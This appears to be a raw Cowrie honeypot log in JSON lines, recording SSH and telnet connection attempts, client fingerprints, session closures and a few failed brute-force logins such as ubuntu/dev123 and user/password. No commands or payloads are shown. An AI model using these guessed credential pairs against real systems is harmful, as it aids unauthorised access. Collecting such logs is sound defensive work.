{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":53610,"dst_ip":"159.203.135.109","dst_port":23,"session":"800c858ace84","protocol":"telnet","message":"New connection: 64.227.9.242:53610 (159.203.135.109:23) [session: 800c858ace84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:00.674385Z"}
{"eventid":"cowrie.session.closed","duration":35.32476329803467,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:00.688244Z","src_ip":"64.227.9.242","session":"cb5fe1d5de86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":58900,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbedb3dd11a","protocol":"ssh","message":"New connection: 112.217.199.222:58900 (10.17.0.5:22) [session: 2fbedb3dd11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:01.099701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:01.105032Z","src_ip":"112.217.199.222","session":"2fbedb3dd11a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:01.309572Z","src_ip":"112.217.199.222","session":"2fbedb3dd11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49446,"dst_ip":"10.17.0.5","dst_port":23,"session":"b353235a7b1b","protocol":"telnet","message":"New connection: 188.208.141.113:49446 (10.17.0.5:23) [session: b353235a7b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:01.884396Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev123","message":"login attempt [ubuntu/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:02.164089Z","src_ip":"112.217.199.222","session":"2fbedb3dd11a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38217043876648,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:02.184726Z","src_ip":"64.227.9.242","session":"ba221d434c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19243025779724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:03.052597Z","src_ip":"64.227.9.242","session":"1e031141fa57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:03.374969Z","src_ip":"112.217.199.222","session":"2fbedb3dd11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49448,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ead0946471","protocol":"telnet","message":"New connection: 188.208.141.113:49448 (10.17.0.5:23) [session: a7ead0946471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:05.370226Z"}
{"eventid":"cowrie.session.closed","duration":6.274263858795166,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:06.048371Z","src_ip":"188.208.141.113","session":"36deb5eba95a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49462,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b90e99e6bb","protocol":"telnet","message":"New connection: 188.208.141.113:49462 (10.17.0.5:23) [session: a3b90e99e6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:06.247694Z"}
{"eventid":"cowrie.session.closed","duration":36.02575659751892,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:06.480933Z","src_ip":"64.227.9.242","session":"2d22e56bc5f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":34744,"dst_ip":"10.17.0.5","dst_port":22,"session":"41b34b8ec517","protocol":"ssh","message":"New connection: 152.32.171.213:34744 (10.17.0.5:22) [session: 41b34b8ec517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:06.856116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:06.861274Z","src_ip":"152.32.171.213","session":"41b34b8ec517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:07.073909Z","src_ip":"152.32.171.213","session":"41b34b8ec517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.12950253486633,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:07.607576Z","src_ip":"188.208.141.113","session":"64d65866ce19","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!Q2w3e4r","message":"login attempt [ubuntu/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:07.956616Z","src_ip":"152.32.171.213","session":"41b34b8ec517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":32890,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a1c044cc8a","protocol":"telnet","message":"New connection: 64.227.9.242:32890 (159.203.135.109:23) [session: 71a1c044cc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:08.078043Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58782,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c29aa83397c","protocol":"telnet","message":"New connection: 64.227.9.242:58782 (159.203.135.109:23) [session: 3c29aa83397c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:08.904396Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:09.172372Z","src_ip":"152.32.171.213","session":"41b34b8ec517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58478,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc4913963170","protocol":"telnet","message":"New connection: 188.208.141.113:58478 (10.17.0.5:23) [session: dc4913963170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:13.188243Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":49514,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea4d4367c08","protocol":"ssh","message":"New connection: 1.235.192.214:49514 (10.17.0.5:22) [session: 1ea4d4367c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:14.663212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:14.668819Z","src_ip":"1.235.192.214","session":"1ea4d4367c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:14.848228Z","src_ip":"1.235.192.214","session":"1ea4d4367c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:15.596210Z","src_ip":"1.235.192.214","session":"1ea4d4367c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16597652435303,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:15.936269Z","src_ip":"64.227.9.242","session":"769369796617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58486,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b68f18de0e","protocol":"telnet","message":"New connection: 188.208.141.113:58486 (10.17.0.5:23) [session: a7b68f18de0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:15.998911Z"}
{"eventid":"cowrie.session.closed","duration":3.519618511199951,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:16.707741Z","src_ip":"188.208.141.113","session":"dc4913963170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58490,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b29207a6e9","protocol":"telnet","message":"New connection: 188.208.141.113:58490 (10.17.0.5:23) [session: 30b29207a6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:16.714371Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:16.777899Z","src_ip":"1.235.192.214","session":"1ea4d4367c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58496,"dst_ip":"10.17.0.5","dst_port":23,"session":"f356e08132a7","protocol":"telnet","message":"New connection: 188.208.141.113:58496 (10.17.0.5:23) [session: f356e08132a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:17.747275Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45764,"dst_ip":"159.203.135.109","dst_port":23,"session":"926cb394d704","protocol":"telnet","message":"New connection: 64.227.9.242:45764 (159.203.135.109:23) [session: 926cb394d704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:19.293636Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58506,"dst_ip":"10.17.0.5","dst_port":23,"session":"df80f1ba9992","protocol":"telnet","message":"New connection: 188.208.141.113:58506 (10.17.0.5:23) [session: df80f1ba9992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:20.302099Z"}
{"eventid":"cowrie.session.closed","duration":36.693005084991455,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:20.331425Z","src_ip":"188.208.141.113","session":"a5c0423ebb78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9377758502960205,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:21.936454Z","src_ip":"188.208.141.113","session":"a7b68f18de0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.47404718399048,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:22.628518Z","src_ip":"188.208.141.113","session":"0f026ff632df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52176,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e66373a1ee","protocol":"telnet","message":"New connection: 188.208.141.113:52176 (10.17.0.5:23) [session: a6e66373a1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:23.096433Z"}
{"eventid":"cowrie.session.closed","duration":46.12617897987366,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:23.572492Z","src_ip":"188.208.141.113","session":"828501672ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.238315582275391,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:23.985430Z","src_ip":"188.208.141.113","session":"f356e08132a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.997103691101074,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:24.724531Z","src_ip":"64.227.9.242","session":"916fead22551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52188,"dst_ip":"10.17.0.5","dst_port":23,"session":"b798084eef0b","protocol":"telnet","message":"New connection: 188.208.141.113:52188 (10.17.0.5:23) [session: b798084eef0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:25.072284Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51880,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad3dd5b609b","protocol":"telnet","message":"New connection: 64.227.9.242:51880 (159.203.135.109:23) [session: 9ad3dd5b609b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:25.158493Z"}
{"eventid":"cowrie.session.closed","duration":36.78466510772705,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:26.525778Z","src_ip":"64.227.9.242","session":"0a78424e89c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.171178102493286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:26.837817Z","src_ip":"64.227.9.242","session":"bbed5c79870e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57012,"dst_ip":"159.203.135.109","dst_port":23,"session":"b280815a0fa4","protocol":"telnet","message":"New connection: 64.227.9.242:57012 (159.203.135.109:23) [session: b280815a0fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:28.012000Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d163ea849c2","protocol":"telnet","message":"New connection: 188.208.141.113:52198 (10.17.0.5:23) [session: 6d163ea849c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:28.443820Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52208,"dst_ip":"10.17.0.5","dst_port":23,"session":"211fc19c539d","protocol":"telnet","message":"New connection: 188.208.141.113:52208 (10.17.0.5:23) [session: 211fc19c539d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:29.676832Z"}
{"eventid":"cowrie.session.closed","duration":35.45211935043335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:30.275341Z","src_ip":"188.208.141.113","session":"a8bc0f348f29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.6455352306366,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:33.381886Z","src_ip":"188.208.141.113","session":"b77843358747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55388,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eccf48cf626","protocol":"telnet","message":"New connection: 188.208.141.113:55388 (10.17.0.5:23) [session: 1eccf48cf626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:33.397789Z"}
{"eventid":"cowrie.session.closed","duration":35.41357064247131,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:34.020194Z","src_ip":"64.227.9.242","session":"10ccdff1efda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38730,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7d1dc37528","protocol":"telnet","message":"New connection: 64.227.9.242:38730 (159.203.135.109:23) [session: fe7d1dc37528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:35.280641Z"}
{"eventid":"cowrie.session.closed","duration":35.00685167312622,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:35.681098Z","src_ip":"64.227.9.242","session":"800c858ace84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.757174491882324,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:36.154897Z","src_ip":"188.208.141.113","session":"1eccf48cf626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.505101680755615,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:37.562957Z","src_ip":"188.208.141.113","session":"f8586966e737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.9664351940155,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:37.804336Z","src_ip":"188.208.141.113","session":"ffb20cf29325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.659393072128296,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:39.379699Z","src_ip":"188.208.141.113","session":"ccc8d4e249f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44560,"dst_ip":"159.203.135.109","dst_port":23,"session":"7860317eae7c","protocol":"telnet","message":"New connection: 64.227.9.242:44560 (159.203.135.109:23) [session: 7860317eae7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:39.564831Z"}
{"eventid":"cowrie.session.closed","duration":37.90751910209656,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:39.791777Z","src_ip":"188.208.141.113","session":"b353235a7b1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57240,"dst_ip":"10.17.0.5","dst_port":23,"session":"f196824893a3","protocol":"telnet","message":"New connection: 188.208.141.113:57240 (10.17.0.5:23) [session: f196824893a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:41.370252Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57252,"dst_ip":"10.17.0.5","dst_port":23,"session":"080da938228a","protocol":"telnet","message":"New connection: 188.208.141.113:57252 (10.17.0.5:23) [session: 080da938228a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:41.832376Z"}
{"eventid":"cowrie.session.closed","duration":35.274707317352295,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:43.352602Z","src_ip":"64.227.9.242","session":"71a1c044cc8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96940755844116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:43.873667Z","src_ip":"64.227.9.242","session":"3c29aa83397c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":53620,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad43abd4fdfb","protocol":"telnet","message":"New connection: 64.227.9.242:53620 (159.203.135.109:23) [session: ad43abd4fdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:47.124645Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad63f50445b4","protocol":"telnet","message":"New connection: 188.208.141.113:36612 (10.17.0.5:23) [session: ad63f50445b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:51.030374Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36628,"dst_ip":"10.17.0.5","dst_port":23,"session":"08c7806b1fea","protocol":"telnet","message":"New connection: 188.208.141.113:36628 (10.17.0.5:23) [session: 08c7806b1fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:24:52.243216Z"}
